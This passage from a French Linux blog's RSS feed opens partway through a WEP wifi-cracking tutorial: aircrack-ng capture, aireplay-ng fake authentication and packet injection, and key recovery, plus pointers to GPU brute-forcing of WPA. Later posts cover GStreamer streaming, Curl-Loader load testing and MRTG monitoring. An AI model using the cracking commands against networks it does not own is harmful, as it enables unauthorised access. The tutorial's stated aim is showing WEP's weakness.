 (not associated)   00:22:FA:FE:B5:6E  -72    0 - 1     30       10  </span></pre>
<p>On peut voir que le réseau (ESSID) <strong>WifiDeTest</strong> est associé au channel (CH) <strong>1</strong> avec l'adresse MAC (BSSID) <strong>00:80:48:4F:2E:C4</strong>. Notre PC effectuant l'attaque à comme addresse MAC (STATION) <strong>00:22:FA:FE:B5:6E</strong>.</p>
<p>On peut ensuite capturer le trafic de ce channel spécifique, le résultat de la capture sera enregistré dans un fichier dont le préfixe commencera par <strong>dump</strong>:</p>
<pre class="brush: bash;">

sudo airodump-ng --encrypt WEP -c 1 -w dump -i mon0
</pre>
<h2>Injection de trafic dans le réseau</h2>
<p>Afin d'accélérer la phase précédente, il est judicieux d'injecter du trafic afin que  la capture ait une taille conséquente. Les actions suivantes sont donc à faire en parallèle de la capture (c'est à dire dans un autre terminal).</p>
<p>Nous allons dans un premier temps générer une attaque de type "fake authentification" sur le routeur Wifi. Cette étape est seulement nécessaire si un filtrage par @MAC est actif.</p>
<pre class="brush: bash;">

aireplay-ng -1 0 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E
</pre>
<p>La syntaxe est la suivante:</p>
<p><em>aireplay-ng -1 0 -e <strong>ESSID</strong> -a <strong>BSSID</strong> -h <strong>STATION</strong></em></p>
<p>On passe ensuite à l'injection du trafic, étape indispensable de ce hack:</p>
<pre class="brush: bash;">

aireplay-ng -3 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E
</pre>
<p>Le résultat est un fichier <strong>dump</strong>-01.cap. Plus la capture sera  longue (et donc ce fichier gros), plus Aircrack-NG aura de chance de  cracker le mot de passe WEP. La documentation conseille une taille  minimum de 500 Ko (il suffit de faire des "ls -alF" dans le répertoire  pendant que la commande précédente tourne pour voir la taille du  fichier). Quand vous voulez arrêter la capture, faire un CTRL-C dans la  fenêtre.</p>
<h2>Analyse du dump</h2>
<p>On se retrouve donc avec un fichier <strong>dump</strong>-01.cap de 500 Ko ou plus. Pour en faire l'analyse et trouver le mot de passe WEP, il faut utiliser la commande:</p>
<pre class="brush: bash;">

aircrack-ng -b 00:80:48:4F:2E:C4 dump-01.cap
</pre>
<p>Ou 00:80:48:4F:2E:C4 est à remplacer par l'adresse BSSID fourni par la commande "sudo airodump-ng mon0".</p>
<p>On arrive au résultat suivant:</p>
<pre class="brush: bash;">

...

Key found: [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ]

Probability 100%
</pre>
<p>Il ne reste plus qu'à ce connecter "normalement au réseau WEP en utilisant cette clés !</p>
<p>Enfin on arrête le monitoring de l'interface:</p>
<p>On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:</p>
<pre class="brush: bash;">

sudo airmon-ng stop wlan0
</pre>
<h2>Conclusion</h2>
<p>Comme vous pouvez le voir il est vraiment facile de cracker un réseau Wifi WEP, je vous conseille donc <em>de ne pas utiliser ce type de protection sur votre réseau domestique et encore moins professionnel</em>.</p>
<h1>Crack de réseau Wifi WPA/WPA2 avec Pyrit</h1>
<p>Contrairement à WEP, WPA et WPA2 demande beaucoup plus de ressource avant d'être cracker. C'est dans cette optique que le projet <a href="http://code.google.com/p/pyrit/">Pyrit</a> a vu le jour: proposer un algorithme de crack des ce type de réseau Wifi en utilisant la puissance de votre <a href="http://fr.wikipedia.org/wiki/Processeur_graphique">GPU</a>.</p>
<p style="text-align: left;">Voici une petit démonstration en vidéo:</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.youtube.com/v/HY9Y99bOyhE&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/HY9Y99bOyhE&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Pour une procédure complète qui mélangent l'utilisation de AirCrack-NG (pour la capture et le filtrage du réseau à cracker) et Pyrit pour le hack par "brute-force", je vous conseille <a href="http://forums.remote-exploit.org/bt4beta-howtos/20095-pyrit-cuda-nvidia-tutorial-nvidia-overclock-instructions.html">la lecture de ce forum</a> ou <a href="http://www.crack-wpa.fr/tutoriel-crack-wpa-avec-airolib-ng.php">de ce billet</a>.</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2580">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/02/cracker-un-reseau-wifi-sous-gnulinux.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Streaming vidéo SD avec Gstreamer</title>
		<link>http://blog.nicolargo.com/2010/02/streaming-video-hd-avec-gstreamer.html</link>
		<comments>http://blog.nicolargo.com/2010/02/streaming-video-hd-avec-gstreamer.html#comments</comments>
		<pubDate>Tue, 16 Feb 2010 10:03:11 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[gstreamer]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[hd]]></category>
		<category><![CDATA[streaming]]></category>
		<category><![CDATA[X.264]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2471</guid>
		<description><![CDATA[
Nous allons dans ce billet essayer d'optimiser le streaming d'un flux SD sur un réseau local (LAN de 100 Mbps) en utilisant le framework GStreamer.
Environnement des tests
Deux PC Ubuntu connectés sur un même switch (100 Mbps full-duplex).

PC serveur: ﻿Intel(R) Core(TM)2 Duo CPU P8400 @ 2.26GHz / 2 Go RAM
PC client: ﻿Intel(R) Core(TM)2 Duo CPU E6750 @ 2.66GHz [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.nicolargo.com/wp-content/uploads/2008/06/poster-bunny-small1.jpg" rel="lightbox[2471]"><img class="alignright size-full wp-image-1010" title="poster-bunny-small.jpg" src="http://blog.nicolargo.com/wp-content/uploads/2008/06/poster-bunny-small1.jpg" alt="" width="132" height="200" /></a></p>
<p>Nous allons dans ce billet essayer d'optimiser le streaming d'un flux SD sur un réseau local (LAN de 100 Mbps) en utilisant le framework GStreamer.</p>
<h1>Environnement des tests</h1>
<p>Deux PC Ubuntu connectés sur un même switch (100 Mbps full-duplex).</p>
<ul>
<li>PC serveur: ﻿Intel(R) Core(TM)2 Duo CPU P8400 @ 2.26GHz / 2 Go RAM</li>
<li>PC client: ﻿Intel(R) Core(TM)2 Duo CPU E6750 @ 2.66GHz / 1 Go RAM</li>
</ul>
<p>GStreamer version 0.10.25.</p>
<p>Vidéo source: <a href="http://mirror.bigbuckbunny.de/peach/bigbuckbunny_movies/big_buck_bunny_480p_stereo.ogg">Big Buck Bunny 480p</a></p>
<h1>Tests avec le codec X.264</h1>
<pre>Ligne de commande sur la machine générant le streaming (serveur):
<pre class="brush: bash;">
serveur&gt; gst-launch -v \
        filesrc location=&quot;../Vidéos/big_buck_bunny_480p_stereo.ogg&quot; \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=854,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc byte-stream=true bitrate=2000 bframes=4 ref=4 me=hex subme=4 weightb=true threads=0 \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false
</pre>
</pre>
<pre>Ligne de commande sur la machine recevant le streaming (client):</pre>
<pre class="brush: bash;">
client&gt; gst-launch -v udpsrc caps=&quot;application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96&quot; port=5000 \
 ! queue ! rtph264depay \
 ! queue ! ffdec_h264 ! xvimagesink
</pre>
<p><strong><span style="text-decoration: underline;">Résultat:</span></strong><br />
<strong> Visuel</strong>: <span style="color: #ff0000;">vidéo saccadé (environ 2 img/sec)</span><br />
<strong> Bande passante mesurée</strong>: entre 2 et 3 Mbps<br />
<strong> Resource serveur</strong>: %CPU=135 / %MEM=5<br />
<strong> Resource client</strong>: %CPU=10 / %MEM=2</p>
<p>On ajoute un buffer juste avant le depay et le décodage (au niveau du client):</p>
<pre class="brush: bash;">
client&gt; gst-launch -v udpsrc caps=&quot;application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96&quot; port=5000 \
        ! queue ! gstrtpjitterbuffer latency=3000 \
        ! queue ! rtph264depay \
        ! queue ! ffdec_h264 ! xvimagesink
</pre>
<p><strong><span style="text-decoration: underline;">Résultat:</span></strong><br />
<strong> Visuel</strong>: <span style="color: #ff6600;">vidéo beaucoup plus fluide mais variation de la gigue (accéleration de la video par moment). On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.</span><br />
<strong> Bande passante mesurée</strong>: entre 2 et 3 Mbps<br />
<strong> Resource serveur</strong>: %CPU=140 / %MEM=6<br />
<strong> Resource client</strong>: %CPU=14 / %MEM=2</p>
<p>On modifie ensuite les paramètres d'encodage X.264 (au niveau du serveur):</p>
<pre class="brush: bash;">
serveur&gt; gst-launch -v --gst-debug-level=2 \
        filesrc location=&quot;../Vidéos/big_buck_bunny_480p_stereo.ogg&quot; \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=720,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc vbv-buf-capacity=3000 byte-stream=true bitrate=900 subme=4 ref=2 bframes=1 b-pyramid=true weightb=true \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false
</pre>
<p><strong><span style="text-decoration: underline;">Résultat:</span></strong><br />
<strong> Visuel</strong>: <span style="color: #008000;">Presque plus de sacade ni de variation de gigue. On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.</span><br />
<strong> Bande passante mesurée</strong>: entre 2 et 3 Mbps<br />
<strong> Resource serveur</strong>: %CPU=120 / %MEM=4<br />
<strong> Resource client</strong>: %CPU=10 / %MEM=2</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2471">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/02/streaming-video-hd-avec-gstreamer.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://mirror.bigbuckbunny.de/peach/bigbuckbunny_movies/big_buck_bunny_480p_stereo.ogg" length="166825767" type="audio/ogg" />
		</item>
		<item>
		<title>Simuler des connexions HTTP/FTP simultanées</title>
		<link>http://blog.nicolargo.com/2010/02/simuler-des-connexions-httpftp-simultanees.html</link>
		<comments>http://blog.nicolargo.com/2010/02/simuler-des-connexions-httpftp-simultanees.html#comments</comments>
		<pubDate>Mon, 15 Feb 2010 10:34:42 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[curl-loader]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[simul]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2715</guid>
		<description><![CDATA[Curl-Loader est un logiciel libre, écrit en langage C (le meilleur langage pour développer des applications réseaux), permettant de simuler sur votre serveur WEB ou FTP un grand nombre de connexions simultanées. Nous allons dans ce billet voir comment installer, configurer et tester ce logiciel dans un environnement GNU/Linux (Ubuntu 9.10 dans mon cas).
Installation de Curl-Loader
Comme il n'est [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://curl-loader.sourceforge.net/">Curl-Loader</a> est un logiciel libre, écrit en langage C (le meilleur langage pour développer des applications réseaux), permettant de simuler sur votre serveur WEB ou FTP un grand nombre de connexions simultanées. Nous allons dans ce billet voir comment installer, configurer et tester ce logiciel dans un environnement GNU/Linux (Ubuntu 9.10 dans mon cas).</p>
<h1>Installation de Curl-Loader</h1>
<p>Comme il n'est pas encore (des volontaires ?) disponible dans les dêpots officiels, il va falloir compiler Curl-Loader à la main. Avant d'aller plus loin, on installe des pré-requis système:</p>
<pre class="brush: bash;">

sudo aptitude install build-essential openssl libssl-dev
</pre>
<p>On commence par récupérer la dernière version disponible (0.51 au moment de l'écriture de ce billet):</p>
<pre class="brush: bash;">

wget http://downloads.sourceforge.net/project/curl-loader/curl-loader/curl-loader-0.51/curl-loader-0.51.tar.gz?use_mirror=sunet
</pre>
<p>On décompresse et compile le tout:</p>
<pre class="brush: bash;">

tar zxvf curl-loader-0.51.tar.gz

cd curl-loader-0.51

make optimize=1
</pre>
<p>On finalise l'installation avec:</p>
<pre class="brush: bash;">

sudo make install
</pre>
<h1>Configuration de Curl-Loader</h1>
<p>Tout est centralisé dans un fichier de configuration. Quelques exemples de fichiers de conf sont fournis avec les sources dans le répertoire ./conf-exemples/.</p>
<p>Le plus simple est de partir du fichier ./conf-exemples/bulk.conf:</p>
<pre class="brush: bash;">

cp ./conf-exemples/bulk.conf ~/curlloader.conf

cd ~
</pre>
<p>On édite le fichier pour l'adapter à son besoin (<a href="http://curl-loader.sourceforge.net/doc/faq.html">documentation exhaustive disponible sur le site officiel</a>) :</p>
<pre class="brush: bash;">

vi curlloader.conf
</pre>
<pre class="brush: bash;">

########### GENERAL SECTION ################################

BATCH_NAME= bulk

CLIENTS_NUM_MAX=200

CLIENTS_RAMPUP_INC=5

INTERFACE=eth0

NETMASK=24

IP_ADDR_MIN= 192.168.29.148

IP_ADDR_MAX= 192.168.29.148

IP_SHARED_NUM=1

CYCLES_NUM= 100

URLS_NUM= 1

########### URL SECTION ####################################

URL=http://www.monserveurweb.com/

URL_SHORT_NAME=&quot;MonServeurWeb&quot;

REQUEST_TYPE=GET

TIMER_URL_COMPLETION = 5000

TIMER_AFTER_URL_SLEEP = 500
</pre>
<h1>Utilisation de Curl-Loader</h1>
<p style="text-align: center;"><strong><span style="text-decoration: underline;"><span style="color: #ff0000;">Attention</span></span> à ne lancer Curl_Loader que vers un serveur qui vous appartient.<br />
<span style="font-weight: normal;"><strong>Dans le cas contraire, cela peut être considéré comme une attaque par dénie de service !</strong></span></strong></p>
<p>Il ne reste plus qu'a lancer Curl-Loader avec ce fichier de configuration:</p>
<pre class="brush: bash;">

sudo curl-loader -f ~/curlloader.conf
</pre>
<p>Que va faire l'exécution de Curl-Loader avec notre fichier de configuration ?</p>
<p>On commence un cycle en envoyant sur le réseau 5 (CLIENTS_RAMPUP_INC) requêtes simultanées vers le serveur Web d'URL http://www.monserveurweb.com/(URL), puis 1 seconde plus tard, 5 requêtes de plus et ainsi de suite jusqu'à 200 (CLIENTS_NUM_MAX) requêtes simultanées. A la fin de ce cycle, on continu jusqu'à attendre le 100em cycle (CYCLES_NUM).</p>
<p>A la fin du test on a les informations suivantes qui s'affichent:</p>
<pre class="brush: bash;">

Test total duration was 54 seconds and CAPS average 231:

H/F   Req:24665,1xx:0,2xx:12332,3xx:12333,4xx:0,5xx:0,Err:0,T-Err:1,D:1ms,D-2xx:3ms,Ti:1343807B/s,To:56181B/s

H/F/S Req:0,1xx:0,2xx:0,3xx:0,4xx:0,5xx:0,Err:0,T-Err:0,D:0ms,D-2xx:0ms,Ti:0B/s,To:0B/s

Exited. For details look in the files:

- bulk.log for errors and traces;

- bulk.txt for loading statistics;

- bulk.ctx for virtual client based statistics.

- bulk.ops for operational statistics.
</pre>
<p>Pour la le lecture des rapports, voici un petit mémento:</p>
<ul>
<li>CAPS=call attempts per seconds;</li>
<li>run-time in seconds;</li>
<li>requests num;</li>
<li>1xx success num;</li>
<li>2xx success num;</li>
<li>3xx redirects num;</li>
<li>client 4xx errors num;</li>
<li>server 5xx errors num;</li>
<li>other errors num, like resolving, tcp-connect, server closing or empty responses number (Err);</li>
<li>url completion time expiration errors (T-Err);</li>
<li>average application server Delay (msec), estimated as the time between HTTP request and HTTP response without taking into the account network latency (RTT) (D);</li>
<li>average application server Delay for 2xx (success) HTTP-responses, as above, but only for 2xx responses. The motivation for that is that 3xx redirections and 5xx server errors/rejects may not necessarily provide a true indication of a testing server working functionality (D-2xx);</li>
<li>throughput in, batch average, Bytes/sec (T-In);</li>
<li>throughput out, batch average, Bytes/sec (T-Out);</li>
</ul>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2715">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/02/simuler-des-connexions-httpftp-simultanees.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>MRTG, un tutoriel simple et rapide</title>
		<link>http://blog.nicolargo.com/2010/02/mrtg-un-tutoriel-simple-et-rapide.html</link>
		<comments>http://blog.nicolargo.com/2010/02/mrtg-un-tutoriel-simple-et-rapide.html#comments</comments>
		<pubDate>Mon, 01 Feb 2010 05:43:35 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[mrtg]]></category>
		<category><![CDATA[tuto]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2706</guid>
		<description><![CDATA[Si vous suivez ce blog, vous devez sûrement connaitre Cacti, l'outil permettant de générer des graphes visualisation via une interface HTML/PHP. La solution, bien que simple à mettre en oeuvre nécessite quelques manipulations. Nous allons voir dans ce billet une autre solution beaucoup moins lourde et simple à mettre en oeuvre: MRTG. Nous nous limiterons [...]]]></description>
			<content:encoded><![CDATA[<p>Si vous suivez ce blog, vous devez sûrement connaitre Cacti, l'outil permettant de générer des graphes visualisation via une interface HTML/PHP. La solution, <a href="http://blog.nicolargo.com/2009/01/le-serveur-de-supervision-libre-part-4.html">bien que simple à mettre en oeuvre</a> nécessite quelques manipulations. Nous allons voir dans ce billet une autre solution beaucoup moins lourde et simple à mettre en oeuvre: MRTG. Nous nous limiterons à la génération de graphes représentant la bande passante des interfaces réseau mais l'on peut bien sûr "grapher" toutes les mesures récupérables via SNMP. La machine qui hébergera notre MRTG est sous Unbuntu 9.10 (mais la procédure est globalement la mêmes sur les autres distribution GNU/Linux).</p>
<p><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/Sélection_039.png" rel="lightbox[2706]"><img class="aligncenter size-full wp-image-2708" title="Sélection_039" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/Sélection_039.png" alt="" width="529" height="200" /></a></p>
<h1><span id="more-2706"></span>Installation</h1>
<pre class="brush: bash;">
sudo aptitude install mrtg
</pre>
<h1>Création du répertoire Web</h1>
<pre class="brush: bash;">
sudo mkdir /var/www/mrtg
</pre>
<p>Pour être propre, je vous conseille de créer un sous-répertoire par machine à superviser. Par exemple:</p>
<pre class="brush: bash;">
sudo mkdir /var/www/mrtg/A.B.C.D
</pre>
<h1>Ajout d'une machine à superviser</h1>
<p>Pour superviser le trafic de toutes les interfaces réseau de la machine d'adresse ip A.B.C.D (<a href="http://blog.nicolargo.com/2008/02/installation-dun-serveur-snmp-sous-linux.html">hébergeant un serveur SNMP</a> configuré avec <em>public</em> comme utilisateur en lecture seule), il faut saisir la commande suivante:</p>
<pre class="brush: bash;">
cfgmaker --global 'WorkDir: /var/www/mrtg/A.B.C.D'  \
--ifdesc=descr \
--global 'Language: french'  \
--global 'Options[_]: bits,growright'  \
public@A.B.C.D &gt; /var/www/mrtg/A.B.C.D/A.B.C.D.cfg
</pre>
<p>Les options permettent:</p>
<ul>
<li>de nommer les interfaces réseaux par leur description: --ifdesc=descr</li>
<li>de passer l'interface de MRTG en Francais: --global 'Language: french'</li>
<li>de mettre les graphes en bits/sec et de les dessiner de la droite vers la gauche: --global 'Options[_]: bits,growright'</li>
</ul>
<p>Il est bien sur possible d'éditer le fichier de configuration (/var/www/mrtg/A.B.C.D/A.B.C.D.cfg) à la main, pour changer la configuration de MRTG.</p>
<h1>Gérérer automatiquement les graphes</h1>
<p>Il faut pour cela lancer automatiquement le binaire /usr/bin/mrtg toutes les 5 minutes. Nous allons donc créer un script SHELL que nous lancerons en utilisant la crontab.</p>
<pre class="brush: bash;">
vi /usr/local/bin/mrtgcron.sh

#!/bin/sh
# /var/www/mrtg/A.B.C.D
env LANG=C  /usr/bin/mrtg /var/www/mrtg/A.B.C.D/A.B.C.D.cfg
</pre>
<p>Puis on lui donne les droits en exécution:</p>
<pre class="brush: bash;">
chmod a+x /usr/local/bin/mrtgcron.sh
</pre>
<p>Et enfin, on programme la crontab (crontab -l) en ajoutant la ligne suivante:</p>
<pre class="brush: bash;">
*/5 * * * * /usr/local/bin/mrtgcron.sh
</pre>
<p>Il ne reste plus que 5 minutes à attendre avant de consulter ses graphe à l'URL suivante:</p>
<p style="text-align: center;"><em><strong>http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D/</strong></em></p>
<h1>Création d'un fichier d'index pour votre site Web</h1>
<p>Quand vous accédez à votre page Web MRTG, vous avez une liste de fichiers peu lisible. Heureusement, MRTG est fourni avec un utilitaire nommée indemaker permettant de générer un fichier index.html beaucoup plus "user/chief friendly".</p>
<p>Pour générer cet index sur notre répertoire A.B.C.D, il faut saisir la commande suivante:</p>
<pre class="brush: bash;">
indexmaker --title='MRTG - A.B.C.D'
--sort=descr \
--sidebyside /var/www/mrtg/A.B.C.D/A.B.C.D.cfg \
--output=/var/www/mrtg/A.B.C.D/index.html
</pre>
<p>Et voili, l'accès via l'URL <strong>http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D</strong> est quand même plus sympathique...</p>
<h1>Section spécial gros fainéants</h1>
<p>Voici un petit script SHELL qui va vous simplifier la vie (enfin l'ajout de machine à superviser dans MRTG...):</p>
<pre class="brush: bash;">

#!/bin/sh

# mrtgadd.sh

# Ajout d'une machine a superviser

# Nicolargo - GPL

#

# Syntaxe: mrtgadd.sh &lt;nom_de_la_machine&gt; &lt;adresse_ip_de_la_machine&gt;

MRTGADD_DIR=/var/www/mrtg/$1

echo &quot;Création du répertoire: $MRTGADD_DIR&quot;

sudo mkdir $MRTGADD_DIR

MRTGADD_CFG=$MRTGADD_DIR/$1.cfg

echo &quot;Génération de la configuration MRTG: $MRTGADD_CFG ($2)&quot;

sudo cfgmaker --global &quot;WorkDir: $MRTGADD_DIR&quot;  \

--ifdesc=descr \

--global 'Language: french'  \

--global 'Options[_]: bits,growright'  \

public@$2 &gt; $MRTGADD_CFG

MRTGADD_CRONSCRIPT=/usr/local/bin/mrtgcron.sh

echo &quot;Modification du script $MRTGADD_CRONSCRIPT&quot;

sudo cp $MRTGADD_CRONSCRIPT $MRTGADD_CRONSCRIPT.old

sudo cat &lt;&lt;EOF &gt;&gt; $MRTGADD_CRONSCRIPT

# $MRTGADD_DIR

env LANG=C  /usr/bin/mrtg $MRTGADD_CFG

EOF

echo &quot;Generation du fichier Index&quot;

sudo indexmaker --title=&quot;MRTG - $1&quot; \

--sort=descr \

--sidebyside $MRTGADD_CFG \

--output=$MRTGADD_DIR/index.html
</pre>
<h1>Conclusion</h1>
<p>MRTG est un bien bel outil dont pas mal de logiciel "webifier" se servent comme générateur de graphe. Il est simple et souple à installer et transparent à utiliser... Et vous êtes vous un fan de cet outil libre ?</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2706">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/02/mrtg-un-tutoriel-simple-et-rapide.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
